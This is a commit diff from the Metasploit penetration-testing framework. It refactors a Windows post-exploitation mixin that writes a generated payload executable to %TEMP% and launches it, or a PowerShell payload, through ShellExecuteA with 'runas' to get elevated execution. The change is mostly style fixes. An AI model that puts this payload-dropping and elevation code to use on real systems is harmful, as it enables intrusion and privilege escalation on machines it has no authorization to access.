Fixed some style changes

Removed upload var, it really served no purpose.

Author: jamesbcook

lib/msf/core/post/windows/runas.rb

@@ -9,29 +9,24 @@ module Msf::Post::Windows::Runas
   include Msf::Exploit::EXE
   include Msf::Exploit::Powershell
 
-  def execute_exe(filename=nil,path=nil,upload=nil)
+  def execute_exe(filename = nil, path = nil)
     exe_payload = generate_payload_exe
-    payload_filename = filename || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
-    payload_path = path || expand_path("%TEMP%")
+    payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
+    payload_path = path || expand_path('%TEMP%')
     cmd_location = "#{payload_path}\\#{payload_filename}"
-    if upload
-      print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
-      write_file(cmd_location, exe_payload)
-    else
-      print_error("No Upload Path!")
-      return
-    end
-    command,args = cmd_location,nil
-    shell_exec(command,args)
+    print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
+    write_file(cmd_location, exe_payload)
+    command, args = cmd_location, nil
+    shell_exec(command, args)
   end
 
   def execute_psh
-    command,args = "cmd.exe",  " /c #{cmd_psh_payload(payload.encoded)}"
-    shell_exec(command,args)
+    command, args = 'cmd.exe',  " /c #{cmd_psh_payload(payload.encoded)}"
+    shell_exec(command, args)
   end
 
-  def shell_exec(command,args)
-    print_status("Executing Command!")
-    session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
+  def shell_exec(command, args)
+    print_status('Executing Command!')
+    session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 5)
   end
-end
+end